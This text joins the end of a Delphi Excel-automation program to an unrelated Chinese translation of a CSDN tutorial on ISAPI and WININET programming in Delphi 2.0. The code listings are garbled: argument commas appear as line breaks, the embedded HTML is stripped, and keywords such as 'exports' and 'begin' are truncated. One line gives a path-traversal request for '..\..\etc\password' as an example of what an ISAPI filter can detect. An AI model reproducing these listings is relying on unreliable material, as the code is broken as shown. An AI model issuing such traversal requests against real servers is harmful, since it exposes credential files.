Range[cells.Item[3,1],cells.Item[ir+2,ic]].Value:=Datas; end; // Excel.Visible[LCID]:=True; Datas:=Unassigned; end; procedure TForm1.Retrieve; var Datas:Variant; i,j:Integer; begin with wkSheet do begin Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Activate; ir:=Excel.ActiveCell.Row; ic:=Excel.ActiveCell.Column; Datas:=Range[Cells.Item[1,1],Cells.Item[ir,ic]].Value; with StringGrid1 do begin ColCount:=ic; RowCount:=ir; ScrollBars:=ssBoth; for i:=0 to ir-1 do for j:=0 to ic-1 do Cells[j,i]:=Datas[i+1,j+1]; end; Datas:=UnAssigned; end; end; procedure TForm1.CloseExl; const SaveAsName='test.xls'; begin wkBook.Close(True,SaveAsName,EmptyParam,LCID); Excel.Quit; Excel.Disconnect; end; procedure TForm1.NameSheet; begin AName:=wkBook.Names.Add('通讯录','=Sheet1!$A$3:$D$7',EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam); end; procedure TForm1.AddFormula; var AFormula:String; begin AFormula:='=Rand()'; wkSheet.Range['F3','G6'].Value:=AFormula; end; procedure TForm1.Formats; begin with wkSheet.Range['A1','D1'],Font do begin Merge(True); //合并单元格 HorizontalAlignment:= xlCenter; Size:=18; Name:='隶书'; FontStyle:=Bold; end; wkSheet.Columns.EntireColumn.AutoFit; with Aname.RefersToRange,Borders do begin HorizontalAlignment:= xlRight; Item[xlEdgeBottom].Weight:=xlMedium; Item[xlEdgeTop].Weight:=xlMedium; Item[xlInsideHorizontal].Weight:=xlThin; item[xlInsideVertical].Weight:=xlThin; end; end; procedure TFOrm1.AddMacro; var LineNo: integer; CM: CodeModule; sDate:String; begin CM := WkBook.VBProject.VBComponents.Item('ThisWorkbook').Codemodule; LineNo := CM.CreateEventProc('BeforeClose', 'Workbook'); SDate:='上次访问日期:'+DateToStr(Date()); CM.InsertLines(LineNo + 1, ' Range("B2").Value = "'+sDate+'"'); end; procedure TForm1.Printit; begin with wkSheet.PageSetUp do begin PaperSize:=xlPaperA4; //Paper type A4 PrintTitleRows := 'A1:D1'; //Repeat this row/page LeftMargin:=18; //0.25" Left Margin RightMargin:=18; //0.25" will vary between printers TopMargin:=36; //0.5" BottomMargin:=36; //0.5" CenterHorizontally:=True; Orientation:=1; //横向打印（landscape）=2, portrait=1 end; wkSheet.PrintOut(EmptyParam,EmptyParam,1, EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,LCID); end; procedure TForm1.Button1Click(Sender: TObject); begin try OpenExl; Write2xls; AddFormula; NameSheet; Formats; PrintIt; AddMacro; ReTrieve; finally CloseExl; end; end; end.


CSDN_文档中心_DELPHI与INTERNET2

DELPHI与INTERNET2

这篇文章主要讲述如何使DELPHI和因特网配合工作。本文中将详述两个专门技术：

WININET：构建 FTP，HTTP 和 Gopher 用户端程序 ISAPI：扩充因特网信息服务，例如，获得服务器上的信息并把它们显示在浏览器上。

现今的计算机世界中，由于微软公司的因特网战略而掀起了一个巨大发展潮流。那些制作

CGI（公共网关接口）和第三方工具（即使是最基本的因特网工具）的日子将最终一去不复返了。对复杂的第三方工具的需求总是存在的，但现在程序员将会发现他们所需的大量的嵌入操作系统的因特网工具，简言之，并不需要进一步的投资，你就能够使用免费的DELPHI资源来：

*开发 WEB 浏览器

*运行 FTP，HTTP 和 Gopher ，在两个DELPHI应用软件之间或DELPHI应用软件和基于TCP

（传输控制协议）的服务器之间操作TCP

因为DELPHI能够轻松地调用Windows API，并且它支持OCX/ActiveX，因此微软的新战

略和我们的计划配合的恰到好处。微软生产工具，而DELPHI程序员获得收成！

在本篇中有些什么？

这篇文章中包含了三个大部分和一些小部分，有三个大主题：

*寻找资料：那里能搞到本文中提及的技术资料，而且包含了关于您所需的运行文中代码 的软硬件的简短说明。

*ISAPI：怎样使用ISAPI

*WININET：怎样使用WININET

在大多数情况下，本文中的ISAPI和WININET部分是完全独立的，您可以自由地选择阅读时的顺序。

查找资料，硬件和软件的要求

您需要一份Microsoft Windows NT 3.51 Server 或 NT 4.0 Server 的拷贝，其中应附有因特网信息服务文档，因为您需要甬道其中所提到的技术。这份文档应随NT Server4.0 附送，NT 3.51的用户可从微软的网址上下载。运行Windows NT，您的机器的最低配置应为486兼容，20兆以上内存。

您必须有另一台计算机装有网页浏览器。为使本文中的ISAPI部分能够顺利运行，第二台

机器必须能够运行所有支持网页浏览器的软件。如果在您的机器上运行的是Windows 95 或 Windows NT

那么本文中的WININET 代码片就能运行的最好。任何符合条件的网页浏览器在这种技术环境下都能够使用。

在1996年六月以后发布的Delphi2.0以上的版本中，有您所需的把Delphi连接到因特网上

的几乎全部资源。

如果您没有最新的Delphi版本[注：此处作者指的是2.0版本（译者）]，那么您需要本文

档中提到的特殊文件，所有这些几乎都可以从万维网上免费获得[注：如果您正在使用Delphi2.0以上版本，则不许考虑（译者）]。所有本文中提到的技术在Delphi2.0环境下都能顺利工作，但在16位Delphi环境下则不一定能顺利工作。

如果您需要从万维网上下载信息，链接为：http://www.borland.com/TechInfo/delphi/i

ndex.html

[注：现在已经不存在了！:-(( （译者）]

Delphi2.0的新版本中附有 WININET.PAS 文档，如果你的拷贝中不包含它，那么上面那个

万维网节点可以为您提供。WININET.PAS包括为扩展微软视窗因特网所设计的变量清单、函数、类型和属性。这意味着您能够轻而易举地为您的应用程序增添FTP、HTTP和Gopher支持。微软公司的WININET.DLL是免费发布的，如果它不在您的Windows/System 或Windows/System32 目录下的话，您可以从微软公司那里得到它。下面是可获得WININET.H这个视窗帮助文件的万维网节点：

http://www.microsoft.com/intdev/sdk/docs/wininet/default.htm [注：好象也没了！: -( （译者）]

一般来说，微软因特网开发者的网上之家是微软节点的 INTDEV 部分。

除了WININET和ICP之外，另一个为Delphi支持的关键技术就是ISAP。正如微软公司文档中

所描述的，这项技术能使您“‘写入’服务器端的原本和过滤本，从而扩充微软因特网信息服务和其他ISAPI万维网服务”。

如果您需要找到关于ISAPI的描述，可以去：

http://www.microsoft.com/intdev/sdk/servapi.htm [注：上帝保佑您！;-) （译者）]

在本文最后，附加了一个名为HTTPEXT.PAS的关键的ISAPI文档的拷贝。

微软公司免费发布的因特网控制包（ICP）是一个OCX/ActiveX控制集，您可以在Delphi中

把它们拖放到应用程序上（Delphi2.0中包含这些控件）。他们提供了创建Delphi应用程序的即时支持，他们知道如何浏览网页、 如何应用FTP、WINSOCK和其他因特网技术。如果您的Delphi拷贝中没有包含这些控件，那么您在使用它们之前您应该把这些文档添加进Delphi所在的目录中的Lib目录下。这些文档位于上面提及的链接中的Borland的INDEX.HTML站点下。在本文中我没有提到ICP控件，但是任何对这项技术有兴趣的人应该明确确认他拥有这些

控件的拷贝。

您可以从我的站点下载我的Pascal应用文件，他们的名字是STRBOX.PAS 和 MATHBOX.PAS 。

经常察看一下这个站点上的关于本文提到的信息的更新情况是很有好处的。

在这里我假设读者对于Delphi和Object Pascal都很熟悉，并且读者对于因特网，HTML，

浏览器和万维网服务器有基本的了解。

ISAPI

ISAPI是一项很容易使用然而功能强大的技术，它能够让您扩充因特网信息服务的功能。

这项技术随WindowsNT 4.0附送，让您在您的服务器上建立WEB、FTP和GOPHER站点。同时这项技术与WindowsNT3.51 Server[注：指服务器版本，另一个版本是工作站版本（译者）]兼容。

在过去，扩充网页服务器的最佳办法是建立CGI应用程序。它们是强有力的工具，但是也

被他们的执行格式所限制[注：如PERL是解释执行的（译者）]。当您从浏览其上发出一个基于CGI的请求到服务器上时，这个CGI 应用程序将极有可能先被强制装入内存中，这会消耗很多时间。而且，在某些环境下， CGI技术显得稍微难用了一点。

ISAPI是一种通过写入DLLs[注：动态链结程序（译者）]从而替代CGI应用的方法。您也可

以通过ISAPI来写过滤文本，但这项技术我不会在本篇中提及。同CGI相比，ISAPI更容易使用，而且它更快，同时能更好地利用系统资源。在下面几点中，我将详细地介绍为什么ISAPI DLLs比CGI应用要更为出色：

ISAPI DLLs与HTTP服务位于相同的地址，因此他们能够从服务器上直接存取HTTP服务。与CGI应用相比，它们 能更快地装入内存；当他们在服务器上发出请求时，所需的停悬的时间[注：指发出请求到接受服务器应答的时间（译者）]要少的多。这点当服务器的负荷很重时更加重要。

您可以控制DLLs何时被装载和卸载。例如：您可以在第一次尝试请求时预先装载DLLs；当

它们不被使用时卸载 这个ISAPI应用DLLs以便释放系统资源。

正如前文所述，您可以利用ISAPI写过滤文本[注：一般指C/S结构中的脚本（译者）]，更

具微软的文档，您可以通过ISAPI过滤文本做下面这些事情：

用户授权方案

压缩

加密

登入

通信分析或其他请求分析（例如，寻找 "..\..\etc\password" 中的请求）

在本文中，我会着重介绍如何编写返回数据集的DLLs，或者是如何与运行浏览器的用户进

行简单的联系。

ISAPI 基础

HTTPEXT.PAS文件包含了使用ISAPI的关键声明。这个文件应随1996年6月以后发表的

Delphi版本分发。它也可以在Borland的站点上找到，在本文的ISAPI部分附有这份文档。因为这是基于NT的技术， 您必须使用Delphi2.0以上的版本来应用这项技术。您不可能在16位的编辑器上应用它。

HTTPEXT.PAS包含了微软公司创立的ISAPI技术的接口[注：指Delphi接口，ISAPI由C++编

写（译者）]。在编写Delphi的时候并没有提供ISAPI的用户接口，我会仅仅就如何使用微软公司的现有技术进行描述。不过，ISAPI 太容易使用了，而且对大多数用户来说，用户的Delphi对象的版本并不是必须的。

有三个函数可作为ISAPI DLLs的入口，前两个是必须的，第三个时可选的。

GetExtensionVersion: 进对最低版本做检查

HttpExtensionProc: 这是DLL的入口，就象是Delphi应用程序中的 begin...end 块

TerminateExtension: 这是个可选的程序，它可以用作清除其他内存分配的线程。

当您在创建ISAPI DLL的时候，您必须引用上面列出的三个函数中的头两个函数，执行这

两个函数是所有ISAPI编程的关键。

这三个语句都包含了“字输出”，使用这项术语是因为ISAPI DLLs扩充了因特网信息服务

器。（记住，因特网信息服务器指的是微软服务器。如果您要把一台NT服务器作为体格网页服务器的话，那么，这正是您所需的工具。ISAPI DLLs随NT4.0分发，在安装操作系统是自动安装。）

ISAPI提供了一个制作服务器可遵循的标准。例如，它可以把网景公司的复杂的NSAPI接口

压缩至相关的简练而优美的ISAPI来对NSAPI接口进行操作。

下面是这两个重要函数的声明

function GetExtensionVersion(var Ver: THSE_VERSION_INFO): BOOL; stdcall;

function HttpExtensionProc(var ECB: TExtensionControlBlock): DWORD; stdcall;

您只要把GetExtensionVersion粘贴到您的DLLs救行了.当ISAPI向公众发布新版本时您只需要做轻微的改动。

function GetExtensionVersion(var Ver: THSE_VERSION_INFO):

BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // 1.0 support

Ver.lpszExtensionDesc := 'Delphi 2.0 ISAPI DLL'; // Description

Result := True;

end;

The parameter passed to this function is declared in HTTPEXT.PAS as follows:

有关的参数在HTTPEXT.PAS中声明如下：

PHSE_VERSION_INFO = ^THSE_VERSION_INFO;

THSE_VERSION_INFO = packed record

dwExtensionVersion: DWORD;

lpszExtensionDesc: array[0..HseMaxExtDLLNameLen-1] of Char;

end;

常量HseMaxExtDllNameLen 在声明中的值为256。纪录中的这两个变量是“自声明”的， 前一个包含了ISAPI的版本号[注：即变量dwExtensionVersion （译者）]，后一个则表示用户定义的一个用来描述DLLs的字符串。

在您引用GetExtensionVersion语句的同时，您必须在您的DLL程序的DPR文件部分增添输

出部分。在您写这段语句时您还应该写下：

exports

GetExtensionVersion

HttpExtensionProc;

这就是您在建立这两个重要ISAPI DLL的函数时所要做的。下一步，使用 HttpExtensionProc，稍微复杂一点，因此我将把它作为一个独立的部分。

与 HttpExtensionProc 一起工作

HttpExtensionProc语句是DLL的入口。它的作用就好比C语言中的 main() 语句，或者

Delphi 中的begin...end 部分

这里有一个简单的使用GetExtensionVersion语句的例子

function HttpExtensionProc(var ECB: TExtensionControlBlock):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := '' +

'

Test server results

' +

'Hello from ISAPI
' +

'';

ResStr := Format(

'HTTP/1.0 200 OK'#13#10+

'Content-Type: text/html'#13#10+

'Content-Length: %d'#13#10+

'Content:'#13#10#13#10'%s'

[Length(ResStr)

ResStr]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID

Pointer(ResStr)

StrLen

0);

Result := HSE_STATUS_SUCCESS;

end;

如果您在浏览其中向这个DLL发出请求，那么您会得到一页这样的回应：

Test Server Results

Hello from ISAPI

函数体内的大部分域提供基本信息的简单的HTML代码密切相关。您还需要填写TExtensionControlBlock中的一些域，如下所示。

注意到在这个纪录里有一个叫做WriteClient的函数指针，您可以引用这个函数把信息传

送回浏览器。当呼叫这个函数时，您使用到了下面提到的TExtensionControl块中的ConnID字段。当函数被呼叫时，ConnID为您自动填充。

在察看函数的代码之前，请让我为您演示所有用到的上文提及的HttpExtensionProc函数

的ISAPI DLL的完整程序

library Isapi1;

library Isapi1;

uses

Windows

SysUtils

HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ): BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // We're expecting version 1.0 support

Ver.lpszExtensionDesc := 'Written in Delphi 2.0';

Result := True;

end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ): DWORD;

stdcall;

var

ResStr: string;

StrLen: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := '

' +

'

Test server results

' +

'

Isapi says hello to DevRel

';

ResStr := Format(

'HTTP/1.0 200 OK'#13#10+

'Content-Type: text/html'#13#10+

'Content-Length: %d'#13#10+

'Content:'#13#10#13#10'%s'

[Length(ResStr)

ResStr]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID

Pointer(ResStr)

StrLen

0);

Result := HSE_STATUS_SUCCESS;

end;

exports

GetExtensionVersion

HttpExtensionProc;

begin

end.

为了运行这个DLL程序，您应该把它复制到您的NT服务器下的脚本目录中去。在我的NT4.0 机器中

它就像这样：

c:\winnt\system32\inetsrv\scripts\mystuff\isapi1.dll

在这个例子中，我已经创建了我的名为“mystuff”的目录

它只不过是用来存储我创建的

ISAPI DLLs。您的目录，当然和我的机器上的不完全一样，取决于您的“inetsrv”目录位置和其它因素。

为成功调用这个DLL，您应该在您的HTML页上增添这个超链接：

ISAPI One

当用户点击这个超链接时，ISAPI1 Dll会被呼叫，然后字符串“Hello from ISAPI”会显

示在用户的浏览器上。如果您并不是把 ISAPI.DLL放在 mystuff 目录下，那么您应该修改上面的HTML代码来使之与您的情况适应。注意，您的目录必须与目录 inetsrv 有关，不应，也不能包含您的整个DLL所在的目录。

下面是呼叫的完整的HTML脚本：

My Home Page

This is the home page for my home computer.

ISAPI One

注意，如果您多次把程序ISAPI1.DLL复制到 mystuff 目录下，在每一次复制之前您应该

关掉网络服务器的万维网端口。这是因为，在第一次复制这个DLL时，您可以不受限制，但在此之后，它就属于服务器了。因此，在您复制第一次拷贝的更新版本时，因当关掉万维网服务。您可以使用网络管理程序来关掉万维网服务。这个程序应该在微软网络管理程序组（Microsoft Internet Server group）下面，在安装网络信息服务时被安装到程序管理器（Explorer/Program Manager）下。

与 TExtensionControlBlock 一起工作

通过本文中的这一要点，您能够建立您的第一个ISAPI DLL，并且能在第二台机器上的网

页浏览器调用它。

在本文中接下来的ISAPI的其余部分将会更加深入。

这里是HttpExtensionProc参数中比较复杂的部分

PExtensionControlBlock = ^TExtensionControlBlock;

TExtensionControlBlock = packed record

cbSize: DWORD; // = sizeof(TExtensionControlBlock)

dwVersion: DWORD; // version info of this spec

ConnID: HCONN; // Context Do not modify!

dwHttpStatusCode: DWORD; // HTTP Status code

// null terminated log info specific to this Extension DLL

lpszLogData: array [0..HSE_LOG_BUFFER_LEN-1] of Char;

lpszMethod: PChar; // REQUEST_METHOD

lpszQueryString: PChar; // QUERY_STRING

lpszPathInfo: PChar; // PATH_INFO

lpszPathTranslated: PChar; // PATH_TRANSLATED

cbTotalBytes: DWORD; // Total bytes from client

cbAvailable: DWORD; // Available number of bytes

lpbData: Pointer; // pointer to cbAvailable bytes

lpszContentType: PChar; // Content type of client data

GetServerVariable: TGetServerVariableProc;

WriteClient: TWriteClientProc;

ReadClient: TReadClientProc;

ServerSupportFunction: TServerSupportFunctionProc;

end;

注意到这个纪录中包含了上面提到过的ConnID字段，并且向 WriteClient 传送第一个参数。

这个纪录中的第一个参数是为版本控制而设的。它应该是TExtensionControlBlock的大小的规定。如果微软公司改变了它的结构，那么它们能够通过检查纪录的大小来判断它们正在处理的结构版本。 您永远也不要这个纪录中的前三个字段，它们早已被ISAPI填充，在您的程序中，它们只能被访问，而不能被改变。

这个纪录中最重要的字段可能就是lpszQueryString了，它包含了从服务器上传来的请求

的信息。例如，假设您已经创建了一个名叫 ISAPI1.Dll。为了调用这个DLL，您就要在您的浏览器的一页上创建一个像这样的HREF [注：HTML语言中的一种格式（译者）] ：

Test One

如果您希望响应这个DLL，您就要对上面那行做这样的改动：

Test One

假如HTML代码段中有像上面两行中的第二行，那么，您的DLL就会在lpszQueryString参数

中得到“MyQuery” 的字符串，特别要注意跟在请求字符串后的请求标志的使用。

当然，您可以随心所欲地改变请求字符串。例如，您可以这样写：

Test One

在这个请求中，这个DLL会回答服务器的名称。您在传递这个参数时，不受任何限制。您

可以传递任何您想要的东西，而且，如何分析DLL中的信息也由您的喜好决定。

当您从服务器返回信息至浏览器时，您使用到了这个纪录中的“WriteClient”函数指针

。在初始化这个指针时您不需做任何事；它已经自动地有网络信息服务器传递给您了。

CGI应用程序的作者会注意到传送请求字符串的语法十分熟悉。事实上，ISAPI跟随了CGI

的大多数习惯，在TExtensionControlBlock中的多数字段可以简单地被CGI技术借用。

在TExtensionControlBlock中的另一个关键字段是 lpbData ，它包含了从浏览起上传给您的附加信息。

例如，您有一个伴随几个字段的HTML窗体，这些自断中包含的信息就会被一个叫做“

lpData”的指针传递。本文中的下一个主题，“从‘确认’按钮中获得信息”，将会着重讲述怎样处理这种情况。

到现在为止我已经介绍了TExtensionControlBlock中的四个关键字段:

WriteClient: 一个能够让您传递格式化的HTML数据到浏览器上的指针。这个函数用到了

TExtensionControlBlock的ConnID字段。

lpszQueryString: 从浏览骑上传来的请求。

lpbData: 从浏览器上传给你的人一的附加数据。通常是一个HTML窗体的任意字段的内容

。我将在“确认 按钮”这部分进一步讨论。

要获得其他TExtensionControlBlock中的字段是如何工作的感觉，最好的办法就是亲自在

浏览其中将他们做对照。换句话说，您会希望创建一个HTML页，使得用能够调用客户端的ISAPI DLL。这个ISAPI DLL的目的仅仅是在HTML中格式话TExtensionControlBlock中的每一个字段，然后把它们传回浏览器。这样就把您的浏览器变成了一个有点可怕的调试器，来显示TExtensionControlBlock中的所有字段。

这里有一个程序，由Borland公司的 Danny Thorpe 编写，他会执行这个任务：

library test1;

uses

Windows

SysUtils

HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ): BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // 1.0 support

Ver.lpszExtensionDesc := 'A test DLL written in Delphi 2.0';

Result := True;

end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

Buf: array [0..1024] of Char;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := Format(

'' +

'

Test server results

' +

'Size = %d
'+

'Version = %.8x
'+

'ConnID = %.8x
'+

'Method = %s
' +

'Query = %s
' +

'PathInfo = %s
'+

'PathTranslated = %s
'+

'TotalBytes = %d
'+

'AvailableBytes = %d
'+

'ContentType = %s

'+

'

Some Server Variables

'

[ECB.cbSize

ECB.dwVersion

ECB.ConnID

ECB.lpszMethod

ECB.lpszQueryString

ECB.lpszPathInfo

ECB.lpszPathTranslated

ECB.cbTotalBytes

ECB.cbAvailable

ECB.lpszContentType]);

with ECB do

begin

StrLen := Sizeof(Buf);

GetServerVariable(ConnID

'REMOTE_ADDR'

@Buf

StrLen);

ResStr := ResStr + 'REMOTE_ADDR = '+Buf+'
';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID

'REMOTE_HOST'

@Buf

StrLen);

ResStr := ResStr + 'Remote_Host = '+Buf+'
';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID

'REMOTE_USER'

@Buf

StrLen);

ResStr := ResStr + 'Remote_User = '+Buf+'
';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID

'SERVER_NAME'

@Buf

StrLen);

ResStr := ResStr + 'SERVER_NAME = '+Buf+'
';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID

'SERVER_PORT'

@Buf

StrLen);

ResStr := ResStr + 'SERVER_PORT = '+Buf+'
';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID

'SERVER_PROTOCOL'

@Buf

StrLen);

ResStr := ResStr + 'SERVER_PROTOCOL = '+Buf+'
';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID

'SERVER_SOFTWARE'

@Buf

StrLen);

ResStr := Format('%sSERVER_SOFTWARE = %s
'+

'ThreadID = %.8x
'

[ResStr

Buf

GetCurrentThreadID]);

end;

ResStr := ResStr + '';

ResStr := Format(

'HTTP/1.0 200 OK'#13#10+

'Content-Type: text/html'#13#10+

'Content-Length: %d'#13#10+

'Content:'#13#10#13#10'%s'

[Length(ResStr)

ResStr]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID

Pointer(ResStr)

StrLen

0);

Result := HSE_STATUS_SUCCESS;

end;

xports

GetExtensionVersion

HttpExtensionProc;

egin

end.

为了调用这个DLL，您应该建立一个包括下面这行的 HRML 脚本

Test One

从“确认”按钮获得信息

通常向您发送信息的HTML窗体中都有一个确认按钮。只要信息量小于49KB，您就可以

认为TExetensionControlBlock中的 lpbData 字段是可用的。这里显示了您可以如何在大

多数情况下获得由这个字段的指针发来的信息：

var

S: string;

begin

…

S := PChar(ECB.lpbData);

…

end;

如果从这个字段传来的信息大于48KB，那么您必须呼叫 ReadClient 来获得其余的信息。

如果您想要确切地知道在 lpbData 字段中哪些信息是可用的，您可以使用下面两个函数把数据传回到您的网页浏览器中：

function SetUpResString: string;

begin

Result := '' +

'' +

'

Test server results

' +

'lpbData = %s ' +

'';

end;

function HttpExtensionProc(var ECB: TExtensionControlBlock):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

S

S1: string;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := SetUpResString;

S := PChar(ECB.lpbData);

ResStr := Format(ResStr

[S]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID

Pointer(ResStr)

StrLen

0);

Result := HSE_STATUS_SUCCESS;

end;

假设您已经有了附有下面代码的HTML窗体：

ENCTYPE="application/x-www-form-urlencoded">

Enter Number to Square:

MAXLENGTH="25" SIZE=25>

这段代码会产生一个包含一个供您输入数字的文本区和一个叫做“submit”按钮的窗体，按钮的名字叫做“GetSquare”。如果有了这个窗体，接着您可以预计上面的两段程序会返回如下的字符串，假设用户在窗体中的文本区输入了数字23：

lpbData = GetSquare=23&GetSquare=Submit

为了理解这时究竟发生了什么，注意一下从上面函数中摘录HTML语句中的主体部分， 这部分语句驻留在服务器上，反映如下：

'lpbData = %s ' +

如果您研究过上面 HttpExtensionProc 函数中的代码，您会发现就在这句之前，它使用了 Format 语句中的 %s 参数来代替了 ECB.lpbData 中的值。（如果您不清楚语句Format 是怎样工作的，请参阅有关的 Delphi 文档）[注：在作者所著的 Delphi2 编程大全（Delphi2

Unleashed）中的第三章《字符串与文本文件》中有详细说明（译者）]

假设上面所示的窗体中，当用户按下“确认”按钮时，lpbData 传递给ISAPI DLL的值是：

GetSquare=23&GetSquare=Submit

为了让您有清晰的概念，让我重复一下上面两个语句传回给浏览器的信息是下面的字符串，您已经看过了：

lpbData = GetSquare=23&GetSquare=Submit

观看这个过程的最好办法试运行下面列出的 ISAPI2 程序。 ISAPI2 和ISAPI1 差不多，但他包含了上面显示的新的 HttpExtensionProc 函数，并且它还包含了SetUpResString 这个实用函数。

library Isapi2;

uses

Windows

SysUtils

HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):

BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // 1.0 support

Ver.lpszExtensionDesc := 'DLL written in Delphi 2.0';

Result := True;

end;

function SetUpResString: string;

begin

Result := '' +

'' +

'

Test server results

' +

'lpbData = %s ' +

'';

end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

S

S1: string;

Len: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := SetUpResString;

S := PChar(ECB.lpbData);

ResStr := Format(ResStr

[S]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID

Pointer(ResStr)

StrLen

0);

Result := HSE_STATUS_SUCCESS;

end;

exports

GetExtensionVersion

HttpExtensionProc;

begin

end.

一旦您从窗体中获得了由 lpbData 变量传来的信息，您就能分析这些信息或者把它们返回给用户。比如说，您可以从上面例子中把数字23抽出来，做平方后返回用户。通过这样做可以使您从用户中获得信息，在这里是数字，对数字进行一些数学运算，最后把结果返回给用户。这意味着您可以在电波中创建互动的网页，这可是现在因特网编程中最流行的哦！

以下是一个通过网络提交数字平方给浏览器的完整的程序代码：

library Isapi3;

{ This code shows how to take input from the user via a browser

parse that information

and then return an answer to the user. In particular

the user submits a number

this code squares it

and then sends the result back to user. Here is the form from the browser that submits the information for parsing:

ENCTYPE="application/x-www-form-urlencoded">

Enter Number to Square:

MAXLENGTH="25" SIZE=25>

}

uses

Windows

SysUtils

HTTPExt

StrBox;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):

BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // version 1.0 support

Ver.lpszExtensionDesc := 'ISAPI3.DLL';

Result := True;

end;

// Parse lpbData and retrieve the number the user passed to us.

function ParseData(S: string): Integer;

begin

S := StripLastToken(S

'&');

S := StripFirstToken(S

'=');

Result := StrToInt(S);

end;

function SetUpResString: string;

begin

Result := '' +

'' +

'

Test server results

' +

'Answer = %d ' +

'';

end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

S

S1: string;

Num: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := SetUpResString;

S := PChar(ECB.lpbData);

Num := ParseData(S);

Num := Sqr(Num);

ResStr := Format(ResStr

[Num]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID

Pointer(ResStr)

StrLen

0);

Result := HSE_STATUS_SUCCESS;

end;

exports

GetExtensionVersion

HttpExtensionProc;

begin

end.

这段代码从按下确认按钮的用户那里接受下面的字符串，用户要求平方后的数字：

GetSquare=5&GetSquare=Submit

假设这样输入，这段代码会通过因特网返回用户下面的字符串：

Answer = 25

一句话，用户输入数字5，你返回用户数字25。如果用户提交数字10，那么您返回数字100。这看起来微不足道，但在这里重要的是因特网上发生的行为[注：指互动网页（译

者）]

分析用户传来的函数像这样：

// Parse lpbData and retrieve the number the user passed to us.

function ParseData(S: string): Integer;

begin

S := StripLastToken(S

'&');

S := StripFirstToken(S

'=');

Result := StrToInt(S);

end;

这两个语句在单元中，在本文开头提到过，也包含在我的站点上。［注:这个文件在网络上几乎到处可见

您也可以向译者索取(译者)］[ 在本篇文章中

关于ISAPI我只想谈这么多了。这些内容对于启发您利用这项优越的技术并获得乐趣来说应该是够用的了。接下来我要谈一下 GetServerVariable 、 ReadClient 这两个语句，在这方面我只进行了极其有限的试验。在本文中，我附加了HTTPEXT.PAS 文件，因为除了这分关键文档，在其他地方您不会找到它。

GetServerVariable 和 ReadClient 语句

正如您的CGI应用程序中的请求信息一样，您可以使用语句来从服务器上获得信息。 下面是呼叫这个语句的例子：

Len := HseMaxExtDllNameLen;

SetLength(S1

Len);

Dec(Len);

ECB.GetServerVariable(ECB.ConnID

'CONTENT_LENGTH'

PChar(S1)

Len);

首先，这段代码设定了保留从服务器上取得的信息的缓冲区的长度。接着它呼叫服务 器并发出请求，在本例中，它要求获得服务器传来的信息的"CONTENT_LENGTH"。

微软公司的文献告诉我们，您可以通过 GetServerVariable 的第二个参数来传递跟 着的字符串：

AUTH_TYPE 它包含了使用授权的类型。比如，如果使用的是基本（basic）授权，那么

字符串就是"basic"；如果是 NT challenge 回应，字符串就是"NTLM"。其他的授权属尤其对应的字符串。因为不断有新的授权类型被增添到服务器上，列出所有可能的字符串是不可行的。如果字符串为空，那么并没有使用任何授权。

CONTENT_LENGTH 脚本预计从客户端回收到的字节数。

CONTENT_TYPE 由请求布告的主体部分提供的信息的内容类型。[注：小弟才疏学浅，a

POST request 暂译作"请求布告"，望方家指正（译者）]

PATH_INFO 附加的路由信息，由客户机提供。它包含了跟在脚本名字之后的URL的漫游路

由。如果有的话，它在请求字符串的前面。

PATH_TRANSLATED 它是 PATH_INFO 的值，但包含了扩充到一个路径标志的所有虚拟路由的名字。

QUERY_STRING 跟在参考这个脚本的URL中的"？"后面的信息。

REMOTE_ADDR 发出请求的客户机或其代理商（例如，网关或防火墙）的IP地址。

REMOTE_HOST 发出请求的客户机或其代理商（例如，网关或防火墙）的主机名。

REMOTE_USER 它包含了由客户机提供并且由服务器授权的用户名。如果返回空串那么用户

使你名的（但是经过授权）。

UNMAPPED_REMOTE_USER 它是有如下特征的用户的名称：该用户向NT用户帐目发出请求（这是他以身份出现），在此之前ISAPI应用程序过滤起映射了该用户。

